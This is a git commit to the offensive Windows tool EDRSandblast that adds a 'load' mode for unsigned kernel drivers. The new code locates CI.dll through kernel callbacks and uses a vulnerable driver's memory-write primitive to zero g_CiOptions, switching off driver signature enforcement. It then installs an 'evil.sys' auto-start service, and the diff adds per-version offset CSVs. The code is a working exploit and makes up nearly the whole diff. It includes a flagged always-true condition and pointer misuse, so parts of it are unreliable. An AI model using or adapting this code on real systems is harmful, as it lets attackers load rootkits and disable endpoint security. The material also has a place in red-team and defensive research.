Add feature : loading unsigned driver

This commit is contained in:
v1k1ngfr
2022-12-25 01:07:15 +01:00
committed by Maxime Meignan
parent 0bbe76aab1
commit 7be844b518
16 changed files with 427 additions and 6 deletions
+1
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@@ -8,6 +8,7 @@ typedef enum _START_MODE {
credguard,
audit,
firewall,
load,
none
} START_MODE;
+4
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@@ -167,10 +167,12 @@
<ClCompile Include="Drivers\DriverRTCore.c" />
<ClCompile Include="KernellandBypass\ETWThreatIntel.c" />
<ClCompile Include="KernellandBypass\KernelCallbacks.c" />
<ClCompile Include="KernellandBypass\KernelDSE.c" />
<ClCompile Include="KernellandBypass\KernelUtils.c" />
<ClCompile Include="KernellandBypass\ObjectCallbacks.c" />
<ClCompile Include="UserlandBypass\Syscalls.c" />
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c" />
<ClCompile Include="Utils\CiOffsets.c" />
<ClCompile Include="Utils\FileUtils.c" />
<ClCompile Include="Utils\HttpClient.c" />
<ClCompile Include="LSASSProtectionBypass\CredGuard.c" />
@@ -200,10 +202,12 @@
</ItemGroup>
<ItemGroup>
<ClInclude Include="EDRSandblast.h" />
<ClInclude Include="Includes\CiOffsets.h" />
<ClInclude Include="Includes\CredGuard.h" />
<ClInclude Include="Includes\DriverDBUtil.h" />
<ClInclude Include="Includes\DriverGDRV.h" />
<ClInclude Include="Includes\DriverRTCore.h" />
<ClInclude Include="Includes\KernelDSE.h" />
<ClInclude Include="Includes\ProcessDumpDirectSyscalls.h" />
<ClInclude Include="Includes\FileUtils.h" />
<ClInclude Include="Includes\HttpClient.h" />
+12
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@@ -117,9 +117,15 @@
<ClCompile Include="UserlandBypass\ProcessDumpDirectSyscalls.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Utils\CiOffsets.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="Drivers\DriverGDRV.c">
<Filter>Source Files</Filter>
</ClCompile>
<ClCompile Include="KernellandBypass\KernelDSE.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
<ItemGroup>
<ClInclude Include="Includes\CredGuard.h">
@@ -233,6 +239,12 @@
<ClInclude Include="EDRSandblast.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\CiOffsets.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\KernelDSE.h">
<Filter>Header Files</Filter>
</ClInclude>
<ClInclude Include="Includes\DriverGDRV.h">
<Filter>Header Files</Filter>
</ClInclude>
+37
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@@ -0,0 +1,37 @@
/*
--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
*/
#pragma once
#include <Windows.h>
enum CiOffsetType {
g_CiOptions = 0,
_SUPPORTED_CI_OFFSETS_END
};
union CiOffsets {
// structure version of Ci.dll's offsets
struct {
// Ci.dll's g_CiOptions
DWORD64 g_CiOptions;
} st;
// array version (usefull for code factoring)
DWORD64 ar[1];
};
union CiOffsets g_ciOffsets;
// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
void LoadCiOffsetsFromFile(TCHAR* CiOffsetFilename);
void SaveCiOffsetsToFile(TCHAR* CiOffsetFilename);
void LoadCiOffsetsFromInternet(BOOL delete_pdb);
LPTSTR GetCiVersion();
LPTSTR GetCiPath();
+5
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@@ -23,3 +23,8 @@ BOOL InstallVulnerableDriver(TCHAR* driverPath);
BOOL UninstallVulnerableDriver(void);
BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName);
// evil driver install
TCHAR* GetEvilDriverServiceName(void);
void SetEvilDriverServiceName(_In_z_ TCHAR* newName);
BOOL InstallEvilDriver(TCHAR* driverPath);
BOOL UninstallEvilDriver(void);
+3
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@@ -94,3 +94,6 @@ void RemoveEDRImageNotifyCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL
BOOL EnumEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers, BOOL verbose);
void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrDrivers);
// Helps at locating some DLL in the kernel, for example CI.dll
DWORD64 GetNotifyRoutineAddress(enum NtoskrnlOffsetType nrt);
+11
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@@ -0,0 +1,11 @@
#pragma once
#pragma comment(lib, "ntdll.lib")
#define DEFAULT_EVIL_DRIVER_FILE TEXT("evil.sys")
#if !defined(PRINT_ERROR_AUTO)
#define PRINT_ERROR_AUTO(func) _tprintf_or_not(TEXT("[!] ERROR ") TEXT(__FUNCTION__) TEXT(" ; ") func TEXT(" (0x%08x)\n"), GetLastError())
#endif
BOOLEAN IsCiEnabled();
DWORD64 FindCIBaseAddress(BOOL verbose);
BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue);
+1
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@@ -5,3 +5,4 @@ DWORD64 FindNtoskrnlBaseAddress(void);
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
TCHAR* FindDriverPath(DWORD64 address);
DWORD64 GetKernelFunctionAddress(LPCSTR function);
TCHAR* FindDriverName(DWORD64 address, _Out_opt_ PDWORD64 offset);
@@ -137,4 +137,4 @@ void RemoveEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
void RestoreEDRNotifyRoutineCallbacks(struct FOUND_EDR_CALLBACKS* edrCallbacks) {
RemoveOrRestoreEDRNotifyRoutineCallbacks(edrCallbacks, FALSE);
}
}
+61
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@@ -0,0 +1,61 @@
#include "windows.h"
#include "KernelDSE.h"
#include "../EDRSandblast.h"
#include "winternl.h"
#include "stdio.h" // for printf
//#include "ntstatus.h"
#include "KernelCallbacks.h"
#include "NtoskrnlOffsets.h"
#include "KernelMemoryPrimitives.h"
#include "KernelUtils.h"
#include "tchar.h"
#define nullptr ((void*)0)
BOOLEAN IsCiEnabled()
{
SYSTEM_CODEINTEGRITY_INFORMATION CiInfo = { sizeof(SYSTEM_CODEINTEGRITY_INFORMATION) };
const NTSTATUS Status = NtQuerySystemInformation(SystemCodeIntegrityInformation,
&CiInfo,
sizeof(CiInfo),
nullptr);
if (!NT_SUCCESS(Status))
printf("[-] Failed to query code integrity status: %08X\n", Status);
return (CiInfo.CodeIntegrityOptions &
(CODEINTEGRITY_OPTION_ENABLED | CODEINTEGRITY_OPTION_TESTSIGN)) == CODEINTEGRITY_OPTION_ENABLED;
}
DWORD64 FindCIBaseAddress(BOOL verbose) {
DWORD64 NotifyRoutineAddress = GetNotifyRoutineAddress(CREATE_PROCESS_ROUTINE);
SIZE_T CurrentEDRCallbacksCount = 0;
DWORD64 CiBaseAddress = 0;
DWORD64 driverOffset = 0;
DWORD64 callback = 0;
DWORD64 cbFunction = 0;
TCHAR* driver = NULL;
DWORD64 callback_struct = 0;
for (int i = 0; i < PSP_MAX_CALLBACKS; ++i) {
DWORD64 callback_struct = ReadMemoryDWORD64(NotifyRoutineAddress + (i * sizeof(DWORD64)));
if (callback_struct != 0) {
callback = (callback_struct & ~0b1111) + 8; //TODO : replace this hardcoded offset ?
cbFunction = ReadMemoryDWORD64(callback);
driver = FindDriverName(cbFunction, &driverOffset);
if (_tcscmp(driver, L"CI.dll") == 0) {
CiBaseAddress = cbFunction - driverOffset;
if (verbose)
printf("[+] %s FOUND at %016llx - 0x%llx : 0x%llx\n", driver, cbFunction, driverOffset, CiBaseAddress);
return CiBaseAddress;
}
}
}
return CiBaseAddress;
}
BOOL patch_gCiOptions(PVOID CiVariableAddress, ULONG CiOptionsValue, PULONG OldCiOptionsValue) {
*OldCiOptionsValue = ReadMemoryDWORD64(CiVariableAddress);
//printf("[+KERNELDSE] The value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, *OldCiOptionsValue);
WriteMemoryDWORD64(CiVariableAddress, CiOptionsValue);
//printf("[+KERNELDSE] New value of gCI at 0x%llx is 0x%x.\n", CiVariableAddress, ReadMemoryDWORD64(CiVariableAddress));
return TRUE;
}
+1 -1
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@@ -105,4 +105,4 @@ DWORD64 GetKernelFunctionAddress(LPCSTR function) {
}
// _tprintf_or_not(TEXT("[+] %s address: 0x%I64x\n"), function, address);
return address;
}
}
+107
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@@ -0,0 +1,107 @@
/*
--- Functions to bypass Digital Signature Enforcement by disabling DSE through patching of the g_CiOptions attributes in memory.
--- Full source and credit to https://j00ru.vexillium.org/2010/06/insight-into-the-driver-signature-enforcement/
--- Code adapted from: https://github.com/kkent030315/gdrv-loader/tree/1909_mitigation
*/
#include <tchar.h>
#include <stdio.h>
#include "../EDRSandblast.h"
#include "FileVersion.h"
#include "PdbSymbols.h"
#include "CiOffsets.h"
union CiOffsets g_ciOffsets = { 0 };
// Return the offsets of CI!g_CiOptions for the specific Windows version in use.
void LoadCiOffsetsFromFile(TCHAR* ciOffsetFilename) {
LPTSTR ciVersion = GetCiVersion();
_tprintf_or_not(TEXT("[*] System's ci.dll file version is: %s\n"), ciVersion);
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("r"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] Ci offsets CSV file not found / invalid. A valid offset file must be specifed!"));
return;
}
TCHAR lineCiVersion[256];
TCHAR line[2048];
while (_fgetts(line, _countof(line), offsetFileStream)) {
TCHAR* dupline = _tcsdup(line);
TCHAR* tmpBuffer = NULL;
_tcscpy_s(lineCiVersion, _countof(lineCiVersion), _tcstok_s(dupline, TEXT(","), &tmpBuffer));
if (_tcscmp(ciVersion, lineCiVersion) == 0) {
TCHAR* endptr;
_tprintf_or_not(TEXT("[+] Offsets are available for this version of ci.dll (%s)!"), ciVersion);
for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
g_ciOffsets.ar[i] = _tcstoull(_tcstok_s(NULL, TEXT(","), &tmpBuffer), &endptr, 16);
}
break;
}
}
fclose(offsetFileStream);
}
void SaveCiOffsetsToFile(TCHAR* ciOffsetFilename) {
LPTSTR ciVersion = GetCiVersion();
FILE* offsetFileStream = NULL;
_tfopen_s(&offsetFileStream, ciOffsetFilename, TEXT("a"));
if (offsetFileStream == NULL) {
_putts_or_not(TEXT("[!] CI offsets CSV file cannot be opened"));
return;
}
_ftprintf(offsetFileStream, TEXT("%s"), ciVersion);
for (int i = 0; i < _SUPPORTED_CI_OFFSETS_END; i++) {
_ftprintf(offsetFileStream, TEXT(",%llx"), g_ciOffsets.ar[i]);
}
_fputts(TEXT(""), offsetFileStream);
fclose(offsetFileStream);
}
void LoadCiOffsetsFromInternet(BOOL delete_pdb) {
LPTSTR ciPath = GetCiPath();
symbol_ctx* sym_ctx = LoadSymbolsFromImageFile(ciPath);
if (sym_ctx == NULL) {
return;
}
g_ciOffsets.st.g_CiOptions = GetSymbolOffset(sym_ctx, "g_CiOptions");
UnloadSymbols(sym_ctx, delete_pdb);
}
TCHAR g_ciPath[MAX_PATH] = { 0 };
LPTSTR GetCiPath() {
if (_tcslen(g_ciPath) == 0) {
// Retrieves the system folder (eg C:\Windows\System32).
TCHAR systemDirectory[MAX_PATH] = { 0 };
GetSystemDirectory(systemDirectory, _countof(systemDirectory));
// Compute ci.dll path.
_tcscat_s(g_ciPath, _countof(g_ciPath), systemDirectory);
_tcscat_s(g_ciPath, _countof(g_ciPath), TEXT("\\ci.dll"));
}
return g_ciPath;
}
TCHAR g_ciVersion[256] = { 0 };
LPTSTR GetCiVersion() {
if (_tcslen(g_ciVersion) == 0) {
LPTSTR ciPath = GetCiPath();
TCHAR versionBuffer[256] = { 0 };
GetFileVersion(versionBuffer, _countof(versionBuffer), ciPath);
_stprintf_s(g_ciVersion, 256, TEXT("ci_%s.dll"), versionBuffer);
}
return g_ciVersion;
}
+52
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@@ -115,3 +115,55 @@ BOOL IsDriverServiceRunning(LPTSTR driverPath, LPTSTR* serviceName) {
}
return isRunning;
}
/*
--- Evil driver install / uninstall functions.
*/
TCHAR* g_evilDriverServiceName;
TCHAR* GetEvilDriverServiceName(void) {
if (!g_evilDriverServiceName || _tcslen(g_evilDriverServiceName) == 0) {
g_evilDriverServiceName = allocAndGenerateRandomString(SERVICE_NAME_LENGTH);
}
return g_evilDriverServiceName;
}
void SetEvilDriverServiceName(_In_z_ TCHAR* newName) {
if (g_evilDriverServiceName) {
free(g_evilDriverServiceName);
}
g_evilDriverServiceName = _tcsdup(newName);
if (!g_evilDriverServiceName) {
_putts_or_not(TEXT("[!] Error while attempting to set the service name."));
return;
}
}
BOOL InstallEvilDriver(TCHAR* driverPath) {
TCHAR* svcName = GetEvilDriverServiceName();
DWORD status = ServiceInstall(svcName, svcName, driverPath, SERVICE_KERNEL_DRIVER, SERVICE_AUTO_START, TRUE);
if (status == 0x00000005) {
_putts_or_not(TEXT("[!] 0x00000005 - Access Denied when attempting to install the driver - Did you run as administrator?"));
}
_tprintf_or_not(TEXT("[!] The evil service should be manually deleted when you are done with it : \ncmd /c sc stop %s\ncmd /c sc delete %s\n"), GetEvilDriverServiceName());
return status == 0x0;
}
BOOL UninstallEvilDriver(void) {
TCHAR* svcName = GetEvilDriverServiceName();
BOOL status = ServiceUninstall(svcName, 0);
if (!status) {
PRINT_ERROR_AUTO(TEXT("ServiceUninstall"));
}
return status;
}
+128 -2
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@@ -27,6 +27,8 @@
#include "Undoc.h"
#include "UserlandHooks.h"
#include "WdigestOffsets.h"
#include "CiOffsets.h"
#include "KernelDSE.h"
#include "../EDRSandblast/EDRSandblast.h"
@@ -74,7 +76,11 @@ BOOL WasRestarted() {
int _tmain(int argc, TCHAR** argv) {
// Parse command line arguments and initialize variables to default values if needed.
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall> [--usermode [--unhook-method <N>] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] [--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] [--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>]");
const TCHAR usage[] = TEXT("Usage: EDRSandblast.exe [-h | --help] [-v | --verbose] <audit | dump | cmd | credguard | firewall | load> \n\
[--usermode [--unhook-method <N>] [--direct-syscalls]] [--kernelmode] [--dont-unload-driver] [--no-restore] \n\
[--driver <RTCore64.sys>] [--service <SERVICE_NAME>] [--nt-offsets <NtoskrnlOffsets.csv>] \n\
[--wdigest-offsets <WdigestOffsets.csv>] [--add-dll <dll name or path>]* [-o | --dump-output <DUMP_FILE>] \n\
--internet");
const TCHAR extendedUsage[] = TEXT("\n\
-h | --help Show this help message and exit.\n\
-v | --verbose Enable a more verbose output.\n\
@@ -88,6 +94,7 @@ Actions mode:\n\
\tcredguard Patch the LSASS process' memory to enable Wdigest cleartext passwords caching even if\n\
\t Credential Guard is enabled on the host. No kernel-land actions required.\n\
\tfirewall Add Windows firewall rules to block network access for the EDR processes / services.\n\
\tload Load the specified unsigned driver.\n\
\n\
--usermode Perform user-land operations (DLL unhooking).\n\
--kernelmode Perform kernel-land operations (Kernel callbacks removal and ETW TI disabling).\n\
@@ -119,6 +126,8 @@ Other options:\n\
\n\
--driver <RTCore64.sys> Path to the Micro-Star MSI Afterburner vulnerable driver file.\n\
Default to 'RTCore64.sys' in the current directory.\n\
--unsigned-driver <evil.sys> Path to the unsigned driver file.\n\
Default to 'evil.sys' in the current directory.\n\
--service <SERVICE_NAME> Name of the vulnerable service to intall / start.\n\
\n\
--nt-offsets <NtoskrnlOffsets.csv> Path to the CSV file containing the required ntoskrnl.exe's offsets.\n\
@@ -153,9 +162,12 @@ Other options:\n\
START_MODE startMode = none;
TCHAR driverPath[MAX_PATH] = { 0 };
TCHAR unsignedDriverPath[MAX_PATH] = { 0 };
TCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE;
TCHAR evilDriverDefaultName[] = DEFAULT_EVIL_DRIVER_FILE;
TCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR CiOffsetCSVPath[MAX_PATH] = { 0 };
TCHAR processName[] = TEXT("lsass.exe");
TCHAR outputPath[MAX_PATH] = { 0 };
BOOL verbose = FALSE;
@@ -191,6 +203,9 @@ Other options:\n\
else if (_tcsicmp(argv[i], TEXT("firewall")) == 0) {
startMode = firewall;
}
else if (_tcsicmp(argv[i], TEXT("load")) == 0) {
startMode = load;
}
else if (_tcsicmp(argv[i], TEXT("-h")) == 0 || _tcsicmp(argv[i], TEXT("--help")) == 0) {
_putts_or_not(usage);
_putts_or_not(extendedUsage);
@@ -219,6 +234,14 @@ Other options:\n\
}
_tcsncpy_s(driverPath, _countof(driverPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--unsigned-driver")) == 0) {
i++;
if (i > argc) {
_tprintf_or_not(TEXT("%s"), usage);
return EXIT_FAILURE;
}
_tcsncpy_s(unsignedDriverPath, _countof(unsignedDriverPath), argv[i], _tcslen(argv[i]));
}
else if (_tcsicmp(argv[i], TEXT("--service")) == 0) {
i++;
if (i > argc) {
@@ -320,7 +343,10 @@ Other options:\n\
if (startMode == dump && !kernelMode) {
_putts_or_not(TEXT("[!] LSASS dump might fail if RunAsPPL is enabled. Enable --kernelmode to bypass PPL\n"));
}
if (startMode == load && !kernelMode) {
_putts_or_not(TEXT("'load' mode needs kernel-land DSE disabling operation to work, please enable --kernelmode"));
return EXIT_FAILURE;
}
// TODO: set isSafeToExecutePayloadUserland by unhook to TRUE / FALSE if there are still hooks.
BOOL isSafeToExecutePayloadUserland = TRUE;
BOOL isSafeToExecutePayloadKernelland = TRUE;
@@ -631,6 +657,106 @@ Other options:\n\
FirewallPrintManualDeletion(&sFWEntries);
break;
}
// Load an unsigned kernel driver.
case load:
{
if (_tcslen(CiOffsetCSVPath) == 0) {
TCHAR CiOffsetCSVName[] = TEXT("\\CiOffsets.csv");
_tcsncat_s(CiOffsetCSVPath, _countof(CiOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
_tcsncat_s(CiOffsetCSVPath, _countof(CiOffsetCSVPath), CiOffsetCSVName, _countof(CiOffsetCSVName));
}
if (FileExists(CiOffsetCSVPath)) {
LoadCiOffsetsFromFile(CiOffsetCSVPath);
if (g_ciOffsets.st.g_CiOptions == 0x0) {
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of ci in use."));
}
else {
if (verbose) {
_tprintf_or_not(TEXT("[+] g_CiOptions offset found using %s file : 0x%llx\n"), CiOffsetCSVPath, g_ciOffsets.st.g_CiOptions);
}
}
}
if (internet && (g_ciOffsets.st.g_CiOptions == 0x0)) {
_putts_or_not(TEXT("[+] Downloading ci related offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
#if _DEBUG
LoadCiOffsetsFromInternet(FALSE);
#else
LoadCiOffsetsFromInternet(TRUE);
#endif
if (g_ciOffsets.st.g_CiOptions == 0x0) {
_putts_or_not(TEXT("[-] Downloading offsets from the internet failed !"));
}
else {
_putts_or_not(TEXT("[+] Downloading offsets succeeded !"));
if (FileExists(CiOffsetCSVPath)) {
_putts_or_not(TEXT("[+] Saving them to the CSV file..."));
SaveCiOffsetsToFile(CiOffsetCSVPath);
}
}
if (verbose) {
_tprintf_or_not(TEXT("[+] g_CiOptions offset found using internet MS Symbol Server : 0x%llx\n"), g_ciOffsets.st.g_CiOptions);
}
}
if (g_ciOffsets.st.g_CiOptions == 0x0) {
_putts_or_not(TEXT("[!] The offsets must be computed using the provided script and added to the offsets CSV file (or use --internet). Unsigned driver won't be loaded ...\n"));
lpExitCode = EXIT_FAILURE;
}
else {
_putts_or_not(TEXT(""));
if (kernelMode) {
DWORD64 CiBaseAddress = 0;
DWORD64 g_CiOptionsAddress = 0;
if (IsCiEnabled() | !IsCiEnabled()) // FIX IT !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!
{
CiBaseAddress = FindCIBaseAddress(verbose);
if (!CiBaseAddress) {
_putts_or_not(TEXT("[-] CI base address not found !\n"));
}
else{
g_CiOptionsAddress=CiBaseAddress + g_ciOffsets.st.g_CiOptions;
if (verbose)
_tprintf_or_not(TEXT("[+] CI.dll kernel base address found at 0x%llx. The g_CiOptions is at %llx !\n"), CiBaseAddress, g_CiOptionsAddress);
if (_tcslen(unsignedDriverPath) == 0) {
PathAppend(unsignedDriverPath, currentFolderPath);
PathAppend(unsignedDriverPath, evilDriverDefaultName);
}
if (!FileExists(unsignedDriverPath)) {
_tprintf_or_not(TEXT("[!] Required driver file not present at %s\nExiting...\n"), unsignedDriverPath);
return EXIT_FAILURE;
}
_putts_or_not(TEXT("[+] Using the vulnerable driver to disable CI...")); // debug print
ULONG CiOptionsValue=0;
PULONG OldCiOptionsValue;
patch_gCiOptions(g_CiOptionsAddress, CiOptionsValue, &OldCiOptionsValue);
LPTSTR evilServiceNameIfAny = NULL;
BOOL isEvilDriverAlreadyRunning = IsDriverServiceRunning(unsignedDriverPath, &evilServiceNameIfAny);
if (isEvilDriverAlreadyRunning) {
_putts_or_not(TEXT("[+] Evil driver is already running!\n"));
SetEvilDriverServiceName(evilServiceNameIfAny);
}
else {
_putts_or_not(TEXT("[+] Installing evil driver..."));
status = InstallEvilDriver(unsignedDriverPath);
if (status != TRUE)
_putts_or_not(TEXT("[!] An error occurred while installing the evil driver"));
}
_putts_or_not(TEXT("[+] Using the vulnerable driver to reset original CI status")); // debug print
patch_gCiOptions(g_CiOptionsAddress, *OldCiOptionsValue, &OldCiOptionsValue);
}
}
else {
// CI is already disabled, just load the driver
_putts_or_not(TEXT("[-] CI is already disabled!\n")); // debug print
}
}
}
// END WIP
break;
}
}
_putts_or_not(TEXT(""));
}
+2 -2
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@@ -182,5 +182,5 @@ ci_22621-590.dll,41004
ci_22621-608.dll,41004
ci_22621-815.dll,41004
ci_22621-675.dll,41004
ci_19041-2075.dll,3a438
ci_19045-2364.dll,39418
ci_19041-2075.dll,3a438
ci_19041-2364.dll,39418
1 g_CiOptionsOffset
182 ci_22621-608.dll,41004
183 ci_22621-815.dll,41004
184 ci_22621-675.dll,41004
185 ci_19041-2075.dll,3a438
186 ci_19045-2364.dll,39418 ci_19041-2364.dll,39418
+1
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@@ -517,3 +517,4 @@ ntoskrnl_9600-19426.exe,2dbb10,2db910,2db710,67a,0,20,50,34e030,34e048,c8
ntoskrnl_9600-20144.exe,2dac50,2daa50,2da850,67a,0,20,50,34d030,34d048,c8
ntoskrnl_7601-17514.exe,ffffffffffffffff,ffffffffffffffff,ffffffffffffffff,0,0,8,38,16002c,160028,80
ntoskrnl_6003-21251.exe,1a9d00,1a9ae0,1a9a80,0,0,10,50,22c020,22c040,228
ntoskrnl_19041-2364.exe,cec460,cec260,cec060,87a,c197d8,20,60,cfc410,cfc440,c8
1 ntoskrnlVersion PspCreateProcessNotifyRoutineOffset PspCreateThreadNotifyRoutineOffset PspLoadImageNotifyRoutineOffset _PS_PROTECTIONOffset EtwThreatIntProvRegHandleOffset EtwRegEntry_GuidEntryOffset EtwGuidEntry_ProviderEnableInfoOffset PsProcessType PsThreadType CallbackList
517 ntoskrnl_9600-20144.exe 2dac50 2daa50 2da850 67a 0 20 50 34d030 34d048 c8
518 ntoskrnl_7601-17514.exe ffffffffffffffff ffffffffffffffff ffffffffffffffff 0 0 8 38 16002c 160028 80
519 ntoskrnl_6003-21251.exe 1a9d00 1a9ae0 1a9a80 0 0 10 50 22c020 22c040 228
520 ntoskrnl_19041-2364.exe cec460 cec260 cec060 87a c197d8 20 60 cfc410 cfc440 c8